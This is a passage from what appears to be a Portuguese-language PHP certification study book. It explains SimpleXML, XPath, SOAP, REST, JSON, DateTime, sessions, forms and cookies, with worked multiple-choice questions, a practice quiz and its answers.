1 $xml = simplexml_load_string("<topicos>
2 <topico id='1'>JSON</topico>
3 <topico id='2'>XML</topico>
4 </topicos>");
5
6 foreach($xml->topico as $topico){
7 $topico['id'] +=5;
8 echo $topico['id'] . ": ". $topico."<br>";
9 }

Para percorrer o XML utilizaremos o seguinte trecho de código:

1 $biblioteca = simplexml_load_file('arquivo.xml');
2 foreach ($biblioteca->livro as $livro) {
3 echo $livro['isbn']."<br>";
4 echo $livro->titulo."<br>";
5 echo $livro->autor."<br>";
6 echo $livro->editora."<br><br>";
7 }

$xml é um objeto SimpleXML. Como gravar tal objeto no arquivo saida.xml?

A: simplexml_save_string($xml, "saida.xml");
B: simplexml_save_file($xml, "saida.xml");
C: $xml->saveAs("saida.xml");
D: file_put_contents($xml->asXML(), "saida.xml");
Formatos e tipos de dados 119

E: Nenhuma das alternativas anteriores

A função file_put_contents() apresentada na alternativa D seria a opção mais próxima, porém os


parâmetros são invertidos: primeiro o arquivo de depois o conteúdo - gerado pelo método asXML().
Existem funções chamadas simplexml_load_string() e simplexml_load_file(). Já as funções
simplexml_save_string() e simplexml_save_file() NÃO EXISTEM.

Na alternativa C, o suposto método saveAs é inexistente no objeto SimpleXML.


Então a resposta correta é E: Nenhuma das alternativas anteriores.
Para adicionar elementos em uma estrutura XML, utilizaremos o método addChild()⁴³ da classe
SimpleXML.

Se quisermos adicionar uma nova característica a cerveja, qual seria a instrução\


correta a ser substituída?
<?php
$xmlstr = <<<XML
<?xml version='1.0'?>
<cerveja>
<estilo>Irish Red Ale</estilo>
<caracteristica>Aroma de biscoito e caramelo</caracteristica>
</cerveja>
XML;

$xmlObj = simplexml_load_string($xmlstr);

??????????????????????

echo $xmlObj->asXML();
?>

A: $xmlObj->cerveja->addChild("caracteristica", "Coloração âmbar");


B: $xmlObj->addChild(new SimpleXMLElement("caracteristica", "Coloração âmbar"));
C: $xmlObj->cerveja[0]->addChild("caracteristica", "Coloração âmbar");
D: $xmlObj->xpath(new SimpleXMLElement("caracteristica", "Coloração âmbar"));
E: $xmlObj->addChild("caracteristica", "Coloração âmbar");
F: $xmlObj->cerveja[0]->addChild(new SimpleXMLElement("caracteristica", "Coloraç\
ão âmbar"));

⁴³http://php.net/manual/pt_BR/simplexmlelement.addchild.php
Formatos e tipos de dados 120

Importante lembrar que o método SimpleXMLElement::addChild() recebe como parâmetros um


nome, um valor e um namespace (opcional) - nessa ordem.
Então as alternativas B e F já seria descartadas, pois passam como primeiro argumento um objeto
SimpleXMLElement, o que seria incorreto.

O método xpath() de SimpleXMLElement que aparece na alternativa D, recebe a string que representa
a consulta XPath (que veremos mais adiante), portanto não tem o propósito de adicionar elementos
ao XML.
As alternativas A e C fazem referência ao elemento cerveja que não foi explicitamente criado,
lembrando que o nodo cerveja nesse contexto é a raiz do documento XML. Então a resposta correta
é E: $xmlObj->addChild("caracteristica", "Coloração âmbar");.

Extensão XML
Seguindo os preceitos do World Wide Web Consortium (W3C)⁴⁴, desde a versão 5.1 o PHP utiliza a
Gnome XML library (libxml2) que suporta inúmeras outras bibliotecas, dentre elas: DOM, libxml,
SimpleXML, SOAP, WDDX, XSL, XML, XMLReader, XMLRPC e XMLWriter.
É a extensão que permite realizar parser de documentos XML identificando entidades, elementos,
DTD e analisando e validando seu conteúdo.

1 $parser = xml_parser_create();
2 //faz a varredura
3 xml_parser_free($parser);

Não entraremos nos detalhes da extensão XML, pois não há relatos de perguntas utilizando funções
de tão baixo nível como, por exemplo: xml_parser_create_ns() que inicia o parser com suporte a
namespace ou xml_set_element_handler() que configura as funções responsáveis por manipular
elementos de início e fim.

XPath
XPath é uma sofisticada tecnologia para buscas em documentos XML.
A biblioteca SimpleXML implementa o método xpath() para que possamos disparar uma pesquisa
XPath perante um código XML, devolvendo um array.
A consulta $xml->xpath('//'); significa qualquer lugar a partir da raiz. O * é um curinga que
representa qualquer coisa e @ indica um atributo específico. Ex.:

⁴⁴https://www.w3.org
Formatos e tipos de dados 121

Dado o seguinte XML...


<?php
$xml = '<?xml version="1.0" encoding="ISO-8859-1"?>
<estilos>
<cerveja alcool="5.5" coloracao="13" amargor="30">Pale Ale</cerveja>
<cerveja alcool="5.5" coloracao="8" amargor="12">Weiss</cerveja>
<cerveja alcool="5.0" coloracao="7" amargor="11">WitBier</cerveja>
<cerveja alcool="6.0" coloracao="27" amargor="40">Amber Ale</cerveja>
<cerveja alcool="6.5" coloracao="30" amargor="18">Red Ale</cerveja>
<cerveja alcool="6.7" coloracao="25" amargor="62">IPA</cerveja>
</estilos>';

Qual o resultado quando executado...


$e = new SimpleXMLElement($xml);
$x = $e->xpath("//cerveja[@amargor > 35]");

A: Exceção será lançada, pois a expressão XPath está incorreta


B: Exceção, pois o XML é inválido
C: NULL
D: Array contendo dois objetos SimpleXML que representam cervejas com o índice d\
e amargor maior que 35 IBUs (International Bitterness Unit)

As alternativas A e B são similares e assumem que há algo errado com a expressão XPath ou com a
estrutura do documentos XML - que não é o caso.
Analisando a expressão XPath //cerveja, significa que pretendemos obter todos os nodos <cerveja>
independente da posição na hierarquia do XML. A instrução seguinte [@amargor > 35] nos possi-
bilita filtrar pelos elementos que possuem o atributo amargor maior que 35, nesse caso devolvendo
os nodos Amber Ale e IPA. Portanto alternativa correta será a letra D:.

Web Services
Web Services é a tecnologia que permite o intercâmbio de dados entre diferentes plataformas,
utilizando a internet como meio de transporte.
Possibilita que sistemas heterogêneos compartilhem dados através de padrões abertos:

• XML-RPC
• SOAP
• REST
Formatos e tipos de dados 122

Ilustração que demonstra um cenário heterogêneo de plataformas de sistemas operacionais, SGBD e linguagens
- onde todos se comunicam

1 //Carrega o RSS (XML) do WordPress


2 $xml = simplexml_load_file("http://www.stopassola.com.br/wordpress/feed/");
3 //Pega somente os nodos que atendam a hierarquia
4 $busca = $xml->xpath("/rss/channel/item/title");
5 foreach($busca as $item){
6 echo $item."<br>";
7 }

SOAP

É o acrônimo de Simple Object Access Protocol, extensão utilizada para disponibilizar serviços web
(através da classe SoapServer) e criar recursos que consumam esses serviços (classe SoapClient),
que utiliza o protocolo HTTP como camada de transporte.
Formatos e tipos de dados 123

Trabalha com mensagens encapsuladas em envelopes, no formato XML.


A extensão SOAP abstrai os detalhes de empacotamento das mensagens e pode utilizar um
documento WSDL (Web Services Description Language) na obtenção dos serviços web.
Abaixo segue um exemplo de servidor SOAP em modo sem WSDL (documento XML que descreve
o serviço web), como os métodos que ele aceita, argumentos exigidos, configurações de operação,
retorno esperado etc.

1 class MeuServidorSoap {
2 public function obterMensagem()
3 {
4 return "Zend Certified PHP Engineer";
5 }
6 public function adicionarNumeros($num1, $num2)
7 {
8 return $num1 + $num2;
9 }
10 }
11
12 $opcoes = array("uri" => "http://localhost");
13 $server = new SoapServer(NULL, $opcoes);
14 $server->setClass("MeuServidorSoap");
15 $server->handle();

O array $opcoes pode conter tipo de encode, forma de autenticação, proxy, versão do SOAP,
certificado .pem, método de compressão etc.
Obs.: a opção 'uri' é obrigatória em modo sem WSDL associado.

1 $opcoes = array(
2 "location" => "http://localhost/livro_zcpe/soapserver.php",
3 "uri" => "http://localhost"
4 );
5 $client = new SoapClient(NULL, $opcoes);
6 echo $client->obterMensagem()."\n";
7 echo $client->adicionarNumeros(2, 7)."\n";

Sem o descritor WSDL faz-se necessário conhecer a API do serviço web que se pretende consumir
como, por exemplo, os métodos obterMensagem() e adicionarNumeros() com seus respectivos
argumentos, valores de retorno e tipos de dados.
Caso disponha o descritor WSDL, utilize a sintaxe SoapClient('endereco.wsdl');.
Formatos e tipos de dados 124

Quais das alternativa abaixo são válidas ao implementar um cliente SOAP para con\
sumo de WebServices:
[ Escolha 2 ]

A: $c = new SoapClient(null, array());


B: $c = new SoapClient(null, array(uri => "servico.com.br", location => "servico\
.com.br/ws.php"));
C: $c = new SoapClient(null, null);
D: $c = new SoapClient("arquivo.wsdl");

Caso o serviço web disponibilize um descritor WSDL, basta informá-lo como primeiro parâmetro
- que é o caso da alternativa D:. Se não houver descritor (quando o primeiro argumento é null),
estamos operando em modo non-WSDL e obrigatoriamente precisamos passar um array de opções
como segundo argumento. Então B: também é válida.
A alternativa A exibe a mensagem 'uri' option is required in nonWSDL mode e C mostra Inva-
lid parameters: ambas ocasionam Fatal error.

Ao realizar o controle de exceções proveniente da abordagem orientada a objetos, experimente


capturar o erro pela classe SoapFault:

1 try {
2 $soap = new SoapClient('arquivo.wsdl');
3 $res = $soap->metodo('arg');
4 } catch (SoapFault $erro) {
5 ...
6 }

Já na abordagem procedural, teremos a função is_soap_fault() que realiza a captura do erro e nos
dá mais informações:

1 if (is_soap_fault($res)) { ... }

REST
Acrônimo de REpresentational State Transfer (Transferência de Estado Representacional), o REST é
um conjunto de princípios que tira vantagem dos recursos HTTP, dentre eles os verbos: POST, GET,
PUT e DELETE - que coincidem com um conjunto de ações típicas de CRUD (Create, Read, Update,
Delete). Há também o verbo PATCH que atualiza um registro, de forma parcial.
Formatos e tipos de dados 125

Uma representação de recursos pode ser JSON, XML ou ambos. Pense no recurso como um registro
de banco de dados, por exemplo, ou uma postagem de blog, autor etc. Sendo que cada recurso tem
uma URI associada, que corresponde a um identificador único.
As URLs geralmente são bem descritivas e permitem aos desenvolvedores inferir onde encontrar os
recursos. Ex.:

• https://api.github.com/users/stopassola
• https://api.github.com/users/stopassola/repos

Perceba que as URLs são intuitivas a pontos de adivinharmos o que será encontrado, além da
possibilidade de adicionarmos parâmetros para alterar a forma como a coleção é visualizada, sejam
filtros e formas de ordenação. Ex.:

• http://api.joind.in/v2.1/events?format=json

O REST utiliza recursos intrínsecos do HTTP como, por exemplo, os próprios cabeçalhos das
requisições. Ex.:

Cabeçalhos HTTP Descrição


Content-Type O que será fornecido pelo cliente
Accept Que tipo de conteúdo se espera de resposta, vindo do servidor

Realizar operações de debug é particularmente mais difícil, pois não há controle sobre o servidor
que provê o serviço web. Mas o PHP dispõe de alguns

Métodos da classe SoapClient Descrição


__getLastRequest() Devolve o corpo da última requisição HTTP do Web Service
__getLastRequestHeaders() Retorna o cabeçalho da última requisição HTTP do Web Service
__getLastResponse() Devolve o corpo da última resposta HTTP do Web Service
__getLastResponseHeaders() Retorna o cabeçalho da última resposta HTTP do Web Service

JSON
Acrônimo de JavaScript Object Notation⁴⁵, JSON é um formato aberto criado em 2001 por Douglas
Crockford e tornou-se padrão para intercâmbio de dados, pois é independente de linguagem ou
plataforma.
É mais rápido e compacto que XML e baseia-se em pares nome -> valor separados por vírgulas, entre
chaves.
⁴⁵http://www.json.org
Formatos e tipos de dados 126

Todas as linguagens modernas de programação possuem parsers para consumir e produzir dados no
formato JSON, que tornou-se uma alternativa perante o XML.
JSON é mais fácil de ler por humanos e computadores e sua estrutura mapeia conceitos comuns na
programação, como objetos e arrays.
É seguramente mais eficiente (através do parser e na transmissão via rede) por ser um formato mais
compacto, pois suprime volumes enormes de tags de início e fim.

1 {
2 "nome": "Ari Stopassola Junior",
3 "idade": 36
4 }

Aceita nativamente os seguintes tipos de dados:

• Objeto
• Array
Ex.: "interesse": [ "PHP", "Mac", "HomeBrew", "Volei" ]
• Alfanumérico (entre aspas)
• Número (inteiro ou ponto flutuante, sem aspas)
• Booleano (true ou false sem aspas)
• null (sem aspas)

Digamos que você queira ler o arquivo JSON a seguir:

1 {
2 "nome": "Ari Stopassola Junior",
3 "idade": 40,
4 "estado_civil": "casado",
5 "curriculo":
6 [
7 "BSc",
8 "ZCE",
9 "ZCPE",
10 "ZFCA",
11 "CSM"
12 ],
13 "ativo": true,
14 "reincidente": null,
15 "saldo": 1032.6,
16 "telefones":
Formatos e tipos de dados 127

17 [
18 {
19 "tipo": "residencial",
20 "numero": "(54) 3282 0118"
21 },
22 {
23 "tipo": "pessoal",
24 "numero": "(54) 99912 1620"
25 }
26 ]
27 }

A função json_decode() cria um objeto baseado na classe padrão do PHP (chamada stdClass)
contendo os atributos do objeto com seus respectivos valores.
A sintaxe é: json_decode($json, $assoc = false, $profundidade, $opcoes) onde $assoc, quando
true, o objeto retornado será convertido em array associativo. O terceiro parâmetro $profundidade
é o limite máximo de aninhamento permitido para o documento JSON e $opcoes são constantes⁴⁶
que alteram a forma como o JSON será processado.

1 $arq = file_get_contents("index.json");
2 $json = json_decode($arq);
3 echo "<pre>";
4 print_r($json);
5 echo "</pre>";

Dependendo da versão do PHP a função json_encode() não trata adequadamente os valores


numéricos, convertendo-os como string. Para certificar-se de que o número será tratado como tal,
utilize como argumento extra a constante JSON_NUMERIC_CHECK. Ex.:

1 $json = json_encode($array, JSON_NUMERIC_CHECK);

Constantes Descrição
JSON_ERROR_NONE Confirma que nenhum erro ocorreu
SON_ERROR_DEPTH Confirma que ultrapassou o limite máximo de
profundidade da estrutura JSON
JSON_ERROR_SYNTAX Confirma que ocorreu um erro de sintaxe do
JSON
JSON_ERROR_UTF8 Confirma que encontrou caracteres mal
formados, possivelmente com encode incorreto
JSON_PRESERVE_ZERO_FRACTION Mantém o ponto flutuante do valor mesmo que
ele possa ser convertido para inteiro. Ex.:
continua 5.0 ao invés de transformar em 5.

⁴⁶http://php.net/manual/pt_BR/json.constants.php
Formatos e tipos de dados 128

Caso o seu script esteja tendo problemas ao realizar o parser do JSON, experimente validar o
conteúdo através do serviço http://jsonlint.com.
Uma função importante no processo de debug é json_last_error() que devolve o último erro
encontrado na varredura do documento JSON.

DateTime
São funções que resgatam a data e horário do servidor, considerando a localização geográfica, horário
de verão (daylight saving time), ano bissexto (leap year) e outras características.
Existem quatro classes inter-relacionadas para manipulação de data e horários. A principal delas é
a classe DateTime que trabalha com o tempo propriamente dito, DateTimeZone para lidar com fuso
horário, DateInterval que trata intervalos de tempo e DatePeriod que permite iterar entre um
conjunto recorrente de datas/horários em intervalos regulares.
Há também configurações em tempo de execução (diretivas do php.ini) que afetam as funções de
data/hora, como por exemplo: date.timezone e date.default_latitude.
A arquitetura do servidor também influencia no cálculo de datas, principalmente ao tratar times-
tamps⁴⁷ quando mantidos em sistemas operacionais 32-bit, que chegariam ao limite no ano de 2038⁴⁸.

1 //Especifica um timezone
2 date_default_timezone_set("America/Sao_Paulo");
3
4 //Mostra no formato: Friday, 19-Aug-2016 15:21:11 BRT
5 echo date(DateTime::COOKIE);
6
7 //Mostra no formato: Fri, 19 Aug 2016 15:21:11 -0300
8 echo date(DateTime::RSS);
9
10 //Cria um objeto $data com o dia e horário atual
11 $data = new DateTime();
12
13 //Incrementa um período de 7 dias ao objeto $data
14 $data->add(new DateInterval("P7D"));
15
16 //Especifica um formato onde:
17 //`d` representa o dia, `m` o mês, `Y` ano, `H` hora, `i` minuto e `s` segundo
18 echo $data->format("d-m-Y H:i:s");

⁴⁷Número de segundos desde 1 de janeiro de 1970, também conhecido como Unix epoch.
⁴⁸Unix Millennium Bug https://en.wikipedia.org/wiki/Year_2038_problem
Formatos e tipos de dados 129

Um detalhe no formato especificado pela constante DateTime::RSS do exemplo acima, que mostra
-0300. Esse é o timezone que representa a diferença (offset) baseado no horário de Greenwich -
Greenwich Mean Time (GMT).
O construtor da classe DateInterval recebe uma especificação de intervalo iniciando com a letra
P (“período”) seguida de designadores de período. São eles: Y para anos, M representa meses, D são
dias e W para semanas.
A especificação de intervalo também pode conter elementos de tempo e deve ser precedida pela
letra T. Os designadores para tempo são: H para horas, M minutos e S para segundos.

Métodos Descrição
DateTime::add(DateInterval $intervalo) Adiciona uma quantidade de tempo ao objeto
DateTime
DateTime::__construct([string $tempo = Instancia a classe DateTime
"now" [, DateTimeZone $tz = NULL ]])
DateTime::createFromFormat(string $formato, Retorna um objeto DateTime baseado num formato
string $tempo [, DateTimeZone $tz]) específico de data/hora
DateTime::format(string $formato) Devolve a data formatada de acordo com o formato
desejado

Para alterar o objeto data, temos alguns métodos interessantes. Ex.:

1 $data = new DateTime('2017-09-10');


2
3 $data->sub(new DateInterval('P1M')); //Subtrai o período de 1 mês do objeto data
4 $data->setDate(2014, 2, 15); //Define uma nova data. Recebe o ano, mês e dia
5 $data->modify('-1 month'); //Modifica a data mediante a string informada

Como setar o formato "2017-06-15 14:59:03" de data e horário através da classe D\


ateTime?

A: date_format($data, 'Y-m-d H:i:s');


B: $data->format('Y-m-d H:i:s');
C: date('Y-m-d H:i:s', $data);
D: nenhuma das alternativas

Eventualmente talvez você não lembre de todas as notações possíveis, como é o caso do Y que
representa o ano com quatro algarismos ou H que extrai a hora com dois dígitos. As alternativas A, B
e C conseguem transformar naquele formato que o enunciado pede, mas atente-se que a pergunta se
refere a classe DateTime e portanto nós precisamos operar sob objetos, portanto a alternativa correta
é B: $data->format('Y-m-d H:i:s');.
Uma forma fácil de comparar datas é testando diretamente os objetos da classe DateTime. Ex.:
Formatos e tipos de dados 130

1 $data1 = new DateTime('2017-09-06');


2 $data2 = new DateTime('2017-10-06');
3 if($data2 > $data1)
4 {
5 echo "Data 2 é mais recente";
6 }

Modelo de Objeto de Documento (Document Object


Model - DOM)
A extensão DOM é a abreviatura de Document Object Model e permite manipular documentos XML
através de sua API.
O DOM depende da extensão libxml, que é habilitada por padrão na versão 5 em diante.
O conjunto de classes oferecidas pela DOM é intercambiável com as classes da SimpleXML. Ex:

Função Descrição
simplexml_import_dom() Converte nodo DOM em objeto SimpleXML
dom_import_simplexml() Converte objeto SimpleXML em nodo DOM

Simulado
1.

<?xml version="1.0" encoding="ISO-8859-1"?>


<html>
<head>
<title>Extensible Markup Language</title>
</head>
<body>
<address>
<cite>Autor A</cite>
<code>codigo PHP</code>
<del>script</del>
</address>
<address>
<cite>Autor B</cite>
<code>codigo C++</code>
<del>compilado</del>
</address>
Formatos e tipos de dados 131

</body>
</html>

Considerando que a variável $xml foi atribuída com o conteúdo acima, através da \
função simplexml_load_file(), como exibir o conteúdo "Autor B":

A: echo $xml->body->address->cite[1];
B: echo $xml->body->address[1]->cite;
C: echo $xml->xpath("/html/body/address[1]/cite");
D: echo $xml->xpath("/html/body/address[cite='Autor B']");
E: Não é possível pois trata-se de um documento XHTML (montado para visualização\
em navegadores) e não um XML puro.

2.

1 Qual das afirmações a seguir é FALSA?


2
3 A: SimpleXML permite remover atributos
4 B: SimpleXML permite adicionar novos atributos
5 C: SimpleXML permite remover nodos
6 D: SimpleXML permite adicionar novos nodos
7 E: Nenhuma das anteriores

3.

1 Como um objeto SimpleXML pode ser convertido em um objeto DOM?


2
3 A: dom_import_simplexml()
4 B: dom_export_simplexml()
5 C: simplexml_import_dom()
6 D: SimpleXML2Dom()
7 E: None of the above.

4.

Quais regras a seguir devem ser cumpridas para considerar correto um documento X\
ML?
[ escolha 2 ]
Formatos e tipos de dados 132

A: Ser bem formado


B: Ser válido
C: Estar associado a um DTD
D: Deve conter apenas caracteres na codificação UTF-8

5.

Considere o código XML a seguir:


<?xml version="1.0" encoding="utf-8"?>
<livros>
<livro id="1">Descomplicando a certificação PHP</livro>
<livro id="2">Preparatório para a certificacao PHP</livro>
</livros>

Considerando o código PHP abaixo:


$xml = simplexml_load_file("livros.xml");

Quais das seguintes chamadas SimpleXML exibe o nome do segundo livro?


[ escolha 2 ]

A: echo $xml->livros->livro[2];
B: echo $xml->livros->livro[1];
C: echo $xml->livro[1];
D: echo $xml->xpath("/livros/livro[@id=2]");
E: $c = $xml->children(); echo $c[1];

Respostas do simulado
1.
Analisando a alternativa A ao percorrermos diretamente o nodo $xml->body->address->cite, a
classe SimpleXMLElement aponta para o primeiro nodo <cite> (que diz respeito ao ‘Autor A’), ainda
assim armazenado no índice zero ao invés do 1 como apresenta a alternativa. Significa que a opção
A é incorreta.

A alternativa C é capciosa. O índice 1 refere-se ao primeiro elemento, que diz respeito ao Autor A,
portanto incorreta.
A opção D realiza uma busca XPath no nodo address filtrando pelo nodo filho <cite> que contenha
Formatos e tipos de dados 133

o valor Autor B. Porém ele traz todo o elemento, ao invés de apenas o conteúdo Autor B como diz
o enunciado.
Resposta correta é B: echo $xml->body->address[1]->cite;.
2.
A biblioteca SimpleXML para manipulação de XML é muito versátil e permite todas as opções
listadas, portanto a resposta é E: Nenhuma das anteriores.
3.
A função dom_import_simplexml() transforma nodos da classe SimpleXML em um objeto nativo de
nodos DOMElement. Portanto resposta é a alternativa A.
4.
Um documento XML aderente aos padrões deve ser bem formado (well-formed). Ou seja: todas as
tags abertas são devidamente fechadas, sem sobreposição de tags e somente um elemento raiz. Então
a resposta A: Ser bem formado é uma das alternativas corretas.
Quanto a ser válido, geralmente é feito através de um documento DTD associado ao XML que define
a estrutura do documento, seus elementos, relacionamentos e regras. Nesse caso a alternativa C seria
indicada, mas a validação também pode ser feita através de XML Schema e outras técnicas. Nesse
caso a resposta mais acertada (e genérica) é B: Ser válido.
5.
A variável $xml contém uma instância da classe SimpleXMLElement. Através dela podemos acessar,
diretamente, o nodo livro - desprezando o elemento raiz livros (no plural).
O primeiro nodo é magicamente alocado no índice 0, enquanto que o segundo fica armazenado em
1, portanto a alternativa C: echo $xml->livro[1]; é uma das opções corretas.
Analisando a alternativa E, sabemos que o método children() encontra nodos filhos de um
determinado nó. Se exibirmos $c teremos também:

SimpleXMLElement Object
(
[book] => Array
(
[0] => Descomplicando a certificação PHP
[1] => Preparatório para a certificação PHP
)

Significa que visualizar o conteúdo $c[1] vai mostrar, assim como a echo $xml->livro[1], o con-
teúdo Preparatório para a certificação PHP, portanto alternativa E: $c = $xml->children();
echo $c[1]; também é correta.
Recursos Web
O desenvolvimento web transcende a linguagem PHP em muitos aspectos. Sabemos que o PHP
é uma linguagem server-side, ou seja, ele roda no lado do servidor de aplicação. O servidor de
aplicação pode ser um Apache, NGINX, IIS e outros, o que implica em conhecermos minimamente
essas plataformas, bem como o sistema operacional que o suporta.
Ao executar, o PHP envia uma saída HTTP para o navegador do cliente - geralmente em formato
HTML, com JavaScript e CSS associado. Essa comunicação é feita através de transações HTTP, utiliza
eventualmente métodos de autenticação, uso de cookies, formulários, consumo e disponibilização de
web services (em formato SOAP ou REST), intercâmbio de dados com JSON etc.
A relação do PHP para com outras tecnologias de internet serão vistas nesse capítulo.

Sessões
Afirma-se que o protocolo HTTP é stateless. Significa que ele trata as requisições isoladamente.
Pela natureza da especificação, não há vínculo entre cliente/servidor.
Para identificar tal usuário (registrando informações a seu respeito) criou-se a técnica de sessões.
Sessões é uma forma de preservar dados através de requisições web subsequentes.
Lembrando que o suporte a sessões é habilitado por padrão no PHP, onde o Session ID (SID) é o
identificador único da sessão específico para cada usuário, gravado em cookie ou passado via URL.
A $_SESSION fica disponível como uma superglobal, pela qual o desenvolvedor consegue extrair
dados previamente gravados lá.
Existem algumas configurações específicas no php.ini referentes a sessões, dentre elas:

Diretiva Descrição
session.auto_start = 0 Inicializa a sessão automaticamente, sem a necessidade de usar
explicitamente a função session_start(). Útil mas pode causar
overhead, caso hajam requisições que não necessitem desse recurso.
Por padrão ela vem desabilitada: 0 (zero) ou Off.
session.name = PHPSESSID Nome padrão da sessão, utilizada como nome do cookie. Session ID é
um identificador único associado ao usuário.
session.use_only_cookies = 1 Caso os cookies estejam desabilitados, é necessário passar o PHPSESSID
como parâmetro via GET na URL de modo a resgatar dados de
usuário na requisição seguinte. Para minimizar ataques de roubo de
sessão é possível forçar o PHP a somente aceitar um identificador de
sessão que esteja armazenado em cookie – que melhora a segurança.
Recursos Web 135

Diretiva Descrição
session.save_handler = files Por medida de segurança e melhoria de performance, muitos
administradores de sistemas optam por armazenar os dados de sessão
em Banco de Dados. Por padrão, as sessões ficam armazenadas em
arquivos temporários no filesystem do servidor. A nível de usuário
temos a função session_set_save_handler() que customiza a forma
de armazenamento de sessão.

A superglobal $_SESSION é um array que permite salvarmos dados de um respectivo usuário e


resgatarmos nas requisições seguintes.
Abaixo seguem algumas funções para manipulação de sessões:

Função Descrição
session_start Inicializa a sessão
session_destroy Destrói todos os dados gravados na sessão
session_id Obtém ou configura o ID corrente da sessão. Ex.:
da233554931027fb371b9e74569c69e3
session_cache_expire Retorna o tempo (em minutos) que a sessão expira.
Pode-se configurar (php.ini) tal propriedade através da
cláusula session.cache_expire = 180
session_regenerate_id Atualiza o ID da sessão por um SID completamente novo
session_status Obtém a situação atual da sessão

Qual das seguintes funções atua como alias de session_write_close()?

A: session_encode()
B: session_commit()
C: session_id()
D: session_cache_limiter()

Primeiramente vamos lembrar que a função session_write_close() escreve dados em sessão e a


finaliza. Embora esse seja o comportamento padrão ao término da execução do script, pode acontecer
de você estar renderizando conteúdo HTML baseado em frames (sendo que cada um deles faz uso
da mesma sessão), então o arquivo de sessão armazenado no servidor é travado para evitar escritas
concorrentes. Nesse cenário hipotético de <frameset>, você terá uma experiência ruim, pois cada
página que compõe o frame só carregará após o término da carga da página anterior.
Para agilizar o carregamento de todos os frames que compõem o site, pode ser útil utilizar a função
session_write_close() assim que as mudanças nos dados de sessão estiverem sido realizadas.

Nessa questão, o aspirante ao exame pode ter se arrependido de não ler o php.net na íntegra (o que
até não seria má ideia). Mas iremos descartando as alternativas mais improváveis:
Recursos Web 136

1. session_encode() é utilizado para codificar todo o conteúdo da sessão numa grande string,
para ser remontada posteriormente;
2. session_id() obtém ou define o id de sessão para a sessão corrente;
3. session_cache_limiter() você resgata ou modifica o modo de limitação de cache utilizado,
que pode ser: public, private, nocache e private_no_expire. Mais informações em http:
//php.net/manual/pt_BR/function.session-cache-limiter.php.

Portanto sobrou apenas a função session_commit() que, na prática, é um apontamento para


session_write_close().

Como garantir que outros usuários não leiam os arquivos de sua sessão numa hospe\
dagem compartilhada?

A: direcionar os arquivos temporários de sessão fora do DocumentRoot


B: retirar privilégios do diretório onde eles se encontram
C: armazenar em banco de dados
D: customizar a diretiva session.save_path e direcionar os arquivos de sessão nu\
m diretório próprio
E: todas as alternativas

Nessa questão, relacionada a aspectos de segurança, todas as alternativas são válidas portanto
alternativa E é a opção correta.

Formulários
Formulários são usados para coletar dados on-line, preenchidos pelos usuários.
Elementos de formulário (nomes e identificadores) que contém pontos e espaços são convertidos em
underscore. Campo de formulário com o nome campo.x será transformado em $_GET['campo_x']
ou $_POST['campo_x'].
Campos podem ser automaticamente convertidos em array utilizando colquetes [] concatenado ao
nome do elemento, como na seguinte sintaxe: <input type="text" name="observacao[]" />.
Ao colocar [] (abre e fecha colchetes) após o nome do campo, no formulário HTML, esse dado se
transforma em array ao ser submetido.
Elementos de formulário tornam-se automaticamente disponíveis em scripts PHP a partir das
superglobais $_GET, $_POST e $_REQUEST.
Recursos Web 137

O que falta no formulário HTML abaixo para garantir que o arquivo seja devidamen\
te submetido como upload para um script PHP?

<form action="upload.php" method="post">


<input type="file" name="arq">
</form>

A: propriedade value no <input type="file">


B: o botão de submissão de formulário <input type="submit">
C: adicionar enctype="multipart/form-data" como atributo da tag <form>
D: alternar o método de envio de post para put

O encode indicado na tag <form> para que o arquivo binário chegue apropriadamente ao script
upload.php é multipart/form-data, portanto a resposta correta é C: adicionar enctype="multipart/form-
data" como atributo da tag <form>.

Quando há dois ou mais botões do tipo submit no mesmo formulário, podemos indentificar qual foi
disparado através dos atributos name e value dos respectivos elementos HTML. Ex.:

1 <form action="processa.php" method="post">


2 <input type="text" name="Empresa">
3 <input type="submit" name="cadastrar" value="Cadastrar">
4 <input type="submit" name="continuar" value="Cadastrar e continuar">
5 </form>

Métodos GET e POST


Formulários podem ser submetidos de formas diferentes, via o método GET ou POST.
GET significa que os campos serão serializados e enviados juntamente com a URL do script de
destino. Ex.: http://site/processa.php?obs=congressista&cidade=Gramado&tipo=evento
Esse formato é útil em formulários de pesquisa, quando se deseja compartilhar o resultado de uma
busca sem precisar submeter os dados novamente – já que bastaria copiar toda a URL e re-executar
o script.
Links e controles de ordenação também fazem uso incessante desse formato de comunicação. Ex.:
http://site/index.php?opcao=noticias&ordem=data&sentido=DESC&rpag=10&page=3

Porém existem dados críticos que não podem ser simplesmente passados via GET, por serem sigilosos
e jamais devem aparecer explícitos no endereço web. Nesses casos recomenda-se o método POST,
até porque ele suporta mais dados de transferência comparado ao GET.
Recursos Web 138

A superglobal $_REQUEST independe da origem dos dados e mescla informações de GET, POST e
Cookies - mas seu uso é desaconselhado.
Observe a questão a seguir, abordando formulários HTML:

<form action="processa.php" method="post">


<select name="objetivo" multiple="multiple">
<option value="compras">Compras</option>
<option value="eventos">Eventos</option>
<option value="passeios">Passeios</option>
<option value="ecoturismo">Ecoturismo</option>
<option value="gastronomia">Gastronomia</option>
<option value="negocios">Neg&oacute;cios</option>
</select>
<input type="image" src="ok.png">
</form>

Ao selecionar os itens compras, passeios e gastronomia - que dados serão passado\


s via POST para o script processa.php?

A:
Array
(
[objetivo] => Array
(
[0] => compras
[1] => passeios
[2] => gastronomia
)
)

B:
Array
(
[objetivo] => Array
(
[0] => compras
[1] => passeios
[2] => gastronomia
)

[x] => 15
[y] => 18
)
Recursos Web 139

C:
Array
(
[objetivo] => gastronomia
[x] => 15
[y] => 18
)

D:
Array
(
[objetivo] => Array
(
[0] => compras
[1] => passeios
[2] => gastronomia
)

[cadastrar_x] => 15
[cadastrar_y] => 18
)

Para acessar o conteúdo dos dados preenchidos no formulário, utilize o esquema abaixo:

Campo de formulário Valor em $_GET/$_POST


text, password e hidden Valor preenchido no respectivo campo
radio Valor do botão de radio selecionado
checkbox Valor do checkbox ativado ou on (se não tiver value
associado)
select (simples) Valor do item selecionado em <option>, que compõe o
campo de seleção
select (múltiplo) Array com os valores de todas opções selecionadas
submit Valor do botão utilizado na submissão do formulário
image (botão) Coordenadas do clique do mouse sob a imagem
(field_x, field_y)

Cookies
Os cookies (do inglês “biscoitos”) é um forma de armazenar pequenas porções de dados textuas no
navegador, com espaço restrito que varia de 4 a 6Kb (dependendo do browser).
Recursos Web 140

Gravar dados no navegador é inseguro pois fica no lado cliente e devemos seguir o mantra: “Jamais
confie na entrada de dados pelo usuário”.
